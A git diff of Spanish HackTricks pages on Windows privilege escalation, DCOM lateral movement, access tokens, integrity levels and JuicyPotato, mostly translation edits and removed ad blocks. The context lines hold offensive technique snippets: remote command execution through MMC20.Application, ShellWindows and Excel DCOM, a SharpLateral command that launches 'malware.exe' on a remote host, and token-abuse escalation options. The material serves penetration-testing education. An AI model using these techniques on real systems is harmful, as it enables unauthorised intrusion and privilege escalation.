* [ ] ¿[**Política de AppLocker**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/README.md#applocker-policy)?
|
||||
* [ ] [**UAC**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control/README.md)
|
||||
* [ ] [**Privilegios de Usuario**](windows-local-privilege-escalation/#users-and-groups)
|
||||
* [ ] [**Privilegios de usuario**](windows-local-privilege-escalation/#users-and-groups)
|
||||
* [ ] Verificar [**privilegios del usuario actual**](windows-local-privilege-escalation/#users-and-groups)
|
||||
* [ ] ¿Eres [**miembro de algún grupo privilegiado**](windows-local-privilege-escalation/#privileged-groups)?
|
||||
* [ ] Verificar si tienes [cualquiera de estos tokens habilitados](windows-local-privilege-escalation/#token-manipulation): **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ?
|
||||
* [ ] ¿[**Sesiones de Usuarios**](windows-local-privilege-escalation/#logged-users-sessions)?
|
||||
* [ ] ¿[**Sesiones de usuarios**](windows-local-privilege-escalation/#logged-users-sessions)?
|
||||
* [ ] Revisar[ **carpetas de usuarios**](windows-local-privilege-escalation/#home-folders) (¿acceso?)
|
||||
* [ ] Revisar [**Política de Contraseñas**](windows-local-privilege-escalation/#password-policy)
|
||||
* [ ] ¿Qué hay [**dentro del Portapapeles**](windows-local-privilege-escalation/#get-the-content-of-the-clipboard)?
|
||||
|
@ -61,11 +53,11 @@ Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" d
|
|||
### [Red](windows-local-privilege-escalation/#network)
|
||||
|
||||
* [ ] Revisar **información de red** [**actual**](windows-local-privilege-escalation/#network)
|
||||
* [ ] Revisar **servicios locales ocultos** restringidos al exterior
|
||||
* [ ] Revisar **servicios locales ocultos** restringidos desde el exterior
|
||||
|
||||
### [Procesos en ejecución](windows-local-privilege-escalation/#running-processes)
|
||||
|
||||
* [ ] Permisos de [**archivos y carpetas de binarios de procesos**](windows-local-privilege-escalation/#file-and-folder-permissions)
|
||||
* [ ] Permisos de [**archivos y carpetas de procesos**](windows-local-privilege-escalation/#file-and-folder-permissions)
|
||||
* [ ] [**Minería de contraseñas en memoria**](windows-local-privilege-escalation/#memory-password-mining)
|
||||
* [ ] [**Aplicaciones GUI inseguras**](windows-local-privilege-escalation/#insecure-gui-apps)
|
||||
* [ ] ¿Robar credenciales con **procesos interesantes** a través de `ProcDump.exe`? (firefox, chrome, etc ...)
|
||||
|
@ -75,7 +67,7 @@ Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" d
|
|||
* [ ] ¿Puedes **modificar algún servicio**?
|
||||
* [ ] ¿Puedes **modificar** el **binario** que es **ejecutado** por algún **servicio**?
|
||||
* [ ] ¿Puedes **modificar** el **registro** de algún **servicio**?
|
||||
* [ ] ¿Puedes aprovechar algún **camino de binario de servicio no citado**?
|
||||
* [ ] ¿Puedes aprovechar algún **binario de servicio no citado** **ruta**?
|
||||
|
||||
### [**Aplicaciones**](windows-local-privilege-escalation/#applications)
|
||||
|
||||
|
@ -102,7 +94,7 @@ Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" d
|
|||
* [ ] ¿Contraseñas de redes [**Wifi guardadas**](windows-local-privilege-escalation/#wifi)?
|
||||
* [ ] ¿Información interesante en [**Conexiones RDP guardadas**](windows-local-privilege-escalation/#saved-rdp-connections)?
|
||||
* [ ] ¿Contraseñas en [**comandos ejecutados recientemente**](windows-local-privilege-escalation/#recently-run-commands)?
|
||||
* [ ] ¿Contraseñas en [**Remote Desktop Credentials Manager**](windows-local-privilege-escalation/#remote-desktop-credential-manager)?
|
||||
* [ ] ¿Contraseñas del [**Administrador de credenciales de Escritorio Remoto**](windows-local-privilege-escalation/#remote-desktop-credential-manager)?
|
||||
* [ ] ¿Existe [**AppCmd.exe**](windows-local-privilege-escalation/#appcmd-exe)? ¿Credenciales?
|
||||
* [ ] ¿[**SCClient.exe**](windows-local-privilege-escalation/#scclient-sccm)? ¿Carga lateral de DLL?
|
||||
|
||||
|
@ -121,7 +113,7 @@ Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" d
|
|||
* [ ] ¿Interesantes [**archivos dentro de la Papelera de reciclaje**](windows-local-privilege-escalation/#credentials-in-the-recyclebin)?
|
||||
* [ ] ¿Otros [**registros que contienen credenciales**](windows-local-privilege-escalation/#inside-the-registry)?
|
||||
* [ ] ¿Dentro de [**datos del navegador**](windows-local-privilege-escalation/#browsers-history) (dbs, historial, marcadores, ...)?
|
||||
* [ ] [**Búsqueda genérica de contraseñas**](windows-local-privilege-escalation/#generic-password-search-in-files-and-registry) en archivos y registro
|
||||
* [ ] ¿[**Búsqueda de contraseñas genéricas**](windows-local-privilege-escalation/#generic-password-search-in-files-and-registry) en archivos y registro?
|
||||
* [ ] [**Herramientas**](windows-local-privilege-escalation/#tools-that-search-for-passwords) para buscar contraseñas automáticamente
|
||||
|
||||
### [Manejadores filtrados](windows-local-privilege-escalation/#leaked-handlers)
|
||||
|
@ -132,12 +124,6 @@ Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" d
|
|||
|
||||
* [ ] Verifica si puedes abusar de ello
|
||||
|
||||
**Grupo de Seguridad Try Hard**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
|
@ -15,23 +15,15 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## MMC20.Application
|
||||
|
||||
**Para más información sobre esta técnica, consulta la publicación original en [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)**
|
||||
|
||||
Los objetos del Modelo de Objetos de Componente Distribuido (DCOM) presentan una capacidad interesante para interacciones basadas en red con objetos. Microsoft proporciona documentación completa tanto para DCOM como para el Modelo de Objetos de Componente (COM), accesible [aquí para DCOM](https://msdn.microsoft.com/en-us/library/cc226801.aspx) y [aquí para COM](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363\(v=vs.85\).aspx). Se puede recuperar una lista de aplicaciones DCOM utilizando el comando de PowerShell:
|
||||
Los objetos del Modelo de Componente Distribuido (DCOM) presentan una capacidad interesante para interacciones basadas en red con objetos. Microsoft proporciona documentación completa tanto para DCOM como para el Modelo de Componente (COM), accesible [aquí para DCOM](https://msdn.microsoft.com/en-us/library/cc226801.aspx) y [aquí para COM](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363\(v=vs.85\).aspx). Una lista de aplicaciones DCOM se puede recuperar utilizando el comando de PowerShell:
|
||||
```bash
|
||||
Get-CimInstance Win32_DCOMApplication
|
||||
```
|
||||
El objeto COM, [MMC Application Class (MMC20.Application)](https://technet.microsoft.com/en-us/library/cc181199.aspx), permite la automatización de operaciones de complementos MMC. Notablemente, este objeto contiene un método `ExecuteShellCommand` bajo `Document.ActiveView`. Más información sobre este método se puede encontrar [aquí](https://msdn.microsoft.com/en-us/library/aa815396\(v=vs.85\).aspx). Verifique su funcionamiento:
|
||||
El objeto COM, [Clase de Aplicación MMC (MMC20.Application)](https://technet.microsoft.com/en-us/library/cc181199.aspx), permite la automatización de operaciones de complementos MMC. Notablemente, este objeto contiene un método `ExecuteShellCommand` bajo `Document.ActiveView`. Más información sobre este método se puede encontrar [aquí](https://msdn.microsoft.com/en-us/library/aa815396\(v=vs.85\).aspx). Verifíquelo en ejecución:
|
||||
|
||||
Esta función facilita la ejecución de comandos a través de una red mediante una aplicación DCOM. Para interactuar con DCOM de forma remota como administrador, se puede utilizar PowerShell de la siguiente manera:
|
||||
```powershell
|
||||
|
@ -59,7 +51,7 @@ ls \\10.10.10.10\c$\Users
|
|||
|
||||
El objeto **MMC20.Application** fue identificado como carente de "LaunchPermissions" explícitos, por defecto a permisos que permiten el acceso a Administradores. Para más detalles, se puede explorar un hilo [aquí](https://twitter.com/tiraniddo/status/817532039771525120), y se recomienda el uso de [@tiraniddo](https://twitter.com/tiraniddo)’s OleView .NET para filtrar objetos sin Permiso de Lanzamiento explícito.
|
||||
|
||||
Dos objetos específicos, `ShellBrowserWindow` y `ShellWindows`, fueron destacados debido a su falta de Permisos de Lanzamiento explícitos. La ausencia de una entrada de registro `LaunchPermission` bajo `HKCR:\AppID\{guid}` significa que no hay permisos explícitos.
|
||||
Se destacaron dos objetos específicos, `ShellBrowserWindow` y `ShellWindows`, debido a su falta de Permisos de Lanzamiento explícitos. La ausencia de una entrada de registro `LaunchPermission` bajo `HKCR:\AppID\{guid}` significa que no hay permisos explícitos.
|
||||
|
||||
### ShellWindows
|
||||
Para `ShellWindows`, que carece de un ProgID, los métodos .NET `Type.GetTypeFromCLSID` y `Activator.CreateInstance` facilitan la instanciación del objeto utilizando su AppID. Este proceso aprovecha OleView .NET para recuperar el CLSID de `ShellWindows`. Una vez instanciado, la interacción es posible a través del método `WindowsShell.Item`, lo que lleva a la invocación de métodos como `Document.Application.ShellExecute`.
|
||||
|
@ -75,7 +67,7 @@ $item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "c:\windows\sy
|
|||
|
||||
El movimiento lateral se puede lograr explotando objetos DCOM de Excel. Para obtener información detallada, se recomienda leer la discusión sobre el aprovechamiento de Excel DDE para el movimiento lateral a través de DCOM en [el blog de Cybereason](https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom).
|
||||
|
||||
El proyecto Empire proporciona un script de PowerShell, que demuestra la utilización de Excel para la ejecución remota de código (RCE) manipulando objetos DCOM. A continuación se presentan fragmentos del script disponible en [el repositorio de GitHub de Empire](https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1), mostrando diferentes métodos para abusar de Excel para RCE:
|
||||
El proyecto Empire proporciona un script de PowerShell, que demuestra la utilización de Excel para la ejecución remota de código (RCE) manipulando objetos DCOM. A continuación se presentan fragmentos del script disponible en [el repositorio de GitHub de Empire](https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1), que muestran diferentes métodos para abusar de Excel para RCE:
|
||||
```powershell
|
||||
# Detection of Office version
|
||||
elseif ($Method -Match "DetectOffice") {
|
||||
|
@ -120,12 +112,6 @@ SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
|
|||
* [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)
|
||||
* [https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
|
@ -15,19 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malware de robo**.
|
||||
|
||||
Su objetivo principal en WhiteIntel es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información.
|
||||
|
||||
Puedes visitar su sitio web y probar su motor de forma **gratuita** en:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Access Tokens
|
||||
|
||||
|
@ -77,7 +64,7 @@ SeUndockPrivilege Remove computer from docking station Disabled
|
|||
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
|
||||
SeTimeZonePrivilege Change the time zone Disabled
|
||||
```
|
||||
or usando _Process Explorer_ de Sysinternals (seleccionar proceso y acceder a la pestaña "Seguridad"):
|
||||
or using _Process Explorer_ from Sysinternals (select process and access"Security" tab):
|
||||
|
||||
![](<../../.gitbook/assets/image (772).png>)
|
||||
|
||||
|
@ -107,10 +94,10 @@ Hay dos tipos de tokens disponibles:
|
|||
* **Token de Suplantación**: Permite a una aplicación de servidor adoptar temporalmente la identidad del cliente para acceder a objetos seguros. Este mecanismo se estratifica en cuatro niveles de operación:
|
||||
* **Anónimo**: Otorga acceso al servidor similar al de un usuario no identificado.
|
||||
* **Identificación**: Permite al servidor verificar la identidad del cliente sin utilizarla para el acceso a objetos.
|
||||
* **Suplantación**: Permite al servidor operar bajo la identidad del cliente.
|
||||
* **Suplantación**: Habilita al servidor para operar bajo la identidad del cliente.
|
||||
* **Delegación**: Similar a la Suplantación, pero incluye la capacidad de extender esta asunción de identidad a sistemas remotos con los que el servidor interactúa, asegurando la preservación de credenciales.
|
||||
|
||||
#### Tokens de Suplantación
|
||||
#### Suplantar Tokens
|
||||
|
||||
Usando el módulo _**incognito**_ de metasploit, si tienes suficientes privilegios, puedes fácilmente **listar** y **suplantar** otros **tokens**. Esto podría ser útil para realizar **acciones como si fueras el otro usuario**. También podrías **escalar privilegios** con esta técnica.
|
||||
|
||||
|
@ -128,29 +115,18 @@ Echa un vistazo a [**todos los posibles privilegios de token y algunas definicio
|
|||
|
||||
Aprende más sobre tokens en estos tutoriales: [https://medium.com/@seemant.bisht24/understanding-and-abusing-process-tokens-part-i-ee51671f2cfa](https://medium.com/@seemant.bisht24/understanding-and-abusing-process-tokens-part-i-ee51671f2cfa) y [https://medium.com/@seemant.bisht24/understanding-and-abusing-access-tokens-part-ii-b9069f432962](https://medium.com/@seemant.bisht24/understanding-and-abusing-access-tokens-part-ii-b9069f432962)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malware robador**.
|
||||
|
||||
Su objetivo principal de WhiteIntel es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información.
|
||||
|
||||
Puedes visitar su sitio web y probar su motor de forma **gratuita** en:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,37 +1,23 @@
|
|||
# Niveles de Integridad
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares robadores**.
|
||||
|
||||
Su objetivo principal de WhiteIntel es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información.
|
||||
|
||||
Puedes visitar su sitio web y probar su motor de forma **gratuita** en:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Niveles de Integridad
|
||||
|
||||
En Windows Vista y versiones posteriores, todos los elementos protegidos vienen con una etiqueta de **nivel de integridad**. Esta configuración asigna principalmente un nivel de integridad "medio" a archivos y claves de registro, excepto por ciertas carpetas y archivos a los que Internet Explorer 7 puede escribir a un nivel de integridad bajo. El comportamiento predeterminado es que los procesos iniciados por usuarios estándar tengan un nivel de integridad medio, mientras que los servicios generalmente operan a un nivel de integridad del sistema. Una etiqueta de alta integridad protege el directorio raíz.
|
||||
En Windows Vista y versiones posteriores, todos los elementos protegidos vienen con una etiqueta de **nivel de integridad**. Esta configuración asigna principalmente un nivel de integridad "medio" a archivos y claves de registro, excepto por ciertas carpetas y archivos a los que Internet Explorer 7 puede escribir a un nivel de integridad bajo. El comportamiento predeterminado es que los procesos iniciados por usuarios estándar tengan un nivel de integridad medio, mientras que los servicios operan típicamente a un nivel de integridad del sistema. Una etiqueta de alta integridad protege el directorio raíz.
|
||||
|
||||
Una regla clave es que los objetos no pueden ser modificados por procesos con un nivel de integridad más bajo que el nivel del objeto. Los niveles de integridad son:
|
||||
|
||||
|
@ -115,30 +101,3 @@ Para los curiosos, si asignas un nivel de integridad alto a un binario (`icacls
|
|||
No todos los archivos y carpetas tienen un nivel de integridad mínimo, **pero todos los procesos se ejecutan bajo un nivel de integridad**. Y similar a lo que ocurrió con el sistema de archivos, **si un proceso quiere escribir dentro de otro proceso, debe tener al menos el mismo nivel de integridad**. Esto significa que un proceso con un nivel de integridad bajo no puede abrir un manejador con acceso total a un proceso con un nivel de integridad medio.
|
||||
|
||||
Debido a las restricciones comentadas en esta y la sección anterior, desde un punto de vista de seguridad, siempre es **recomendado ejecutar un proceso en el nivel de integridad más bajo posible**.
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares robadores**.
|
||||
|
||||
Su objetivo principal de WhiteIntel es combatir el robo de cuentas y los ataques de ransomware resultantes de malware que roba información.
|
||||
|
||||
Puedes visitar su sitio web y probar su motor de forma **gratuita** en:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**repos de HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,20 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malware robador**.
|
||||
|
||||
Su objetivo principal de WhiteIntel es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información.
|
||||
|
||||
Puedes visitar su sitio web y probar su motor de forma **gratuita** en:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
{% hint style="warning" %}
|
||||
**JuicyPotato no funciona** en Windows Server 2019 y Windows 10 build 1809 en adelante. Sin embargo, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato) se pueden usar para **aprovechar los mismos privilegios y obtener acceso a nivel `NT AUTHORITY\SYSTEM`**. _**Ver:**_
|
||||
{% endhint %}
|
||||
|
@ -47,7 +33,7 @@ _Una versión azucarada de_ [_RottenPotatoNG_](https://github.com/breenmachine/R
|
|||
|
||||
[**Del Readme de juicy-potato**](https://github.com/ohpe/juicy-potato/blob/master/README.md)**:**
|
||||
|
||||
[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) y sus [variantes](https://github.com/decoder-it/lonelypotato) aprovechan la cadena de escalada de privilegios basada en [`BITS`](https://msdn.microsoft.com/en-us/library/windows/desktop/bb968799\(v=vs.85\).aspx) [servicio](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) teniendo el oyente MiTM en `127.0.0.1:6666` y cuando tienes privilegios `SeImpersonate` o `SeAssignPrimaryToken`. Durante una revisión de la construcción de Windows encontramos una configuración donde `BITS` estaba intencionalmente deshabilitado y el puerto `6666` estaba ocupado.
|
||||
[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) y sus [variantes](https://github.com/decoder-it/lonelypotato) aprovechan la cadena de escalada de privilegios basada en [`BITS`](https://msdn.microsoft.com/en-us/library/windows/desktop/bb968799\(v=vs.85\).aspx) [servicio](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) teniendo el oyente MiTM en `127.0.0.1:6666` y cuando tienes privilegios `SeImpersonate` o `SeAssignPrimaryToken`. Durante una revisión de la build de Windows encontramos una configuración donde `BITS` estaba intencionalmente deshabilitado y el puerto `6666` estaba ocupado.
|
||||
|
||||
Decidimos armar [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG): **Saluda a Juicy Potato**.
|
||||
|
||||
|
@ -68,13 +54,13 @@ JuicyPotato te permite:
|
|||
* **CLSID objetivo** _elige cualquier CLSID que desees._ [_Aquí_](http://ohpe.it/juicy-potato/CLSID/) _puedes encontrar la lista organizada por SO._
|
||||
* **Puerto de escucha COM** _define el puerto de escucha COM que prefieras (en lugar del 6666 codificado en duro)_
|
||||
* **Dirección IP de escucha COM** _vincula el servidor a cualquier IP_
|
||||
* **Modo de creación de procesos** _dependiendo de los privilegios del usuario suplantado, puedes elegir entre:_
|
||||
* **Modo de creación de procesos** _dependiendo de los privilegios del usuario suplantado puedes elegir entre:_
|
||||
* `CreateProcessWithToken` (necesita `SeImpersonate`)
|
||||
* `CreateProcessAsUser` (necesita `SeAssignPrimaryToken`)
|
||||
* `ambos`
|
||||
* **Proceso a lanzar** _lanzar un ejecutable o script si la explotación tiene éxito_
|
||||
* **Proceso a lanzar** _lanza un ejecutable o script si la explotación tiene éxito_
|
||||
* **Argumento del proceso** _personaliza los argumentos del proceso lanzado_
|
||||
* **Dirección del servidor RPC** _para un enfoque sigiloso, puedes autenticarte en un servidor RPC externo_
|
||||
* **Dirección del servidor RPC** _para un enfoque sigiloso puedes autenticarte en un servidor RPC externo_
|
||||
* **Puerto del servidor RPC** _útil si deseas autenticarte en un servidor externo y el firewall está bloqueando el puerto `135`…_
|
||||
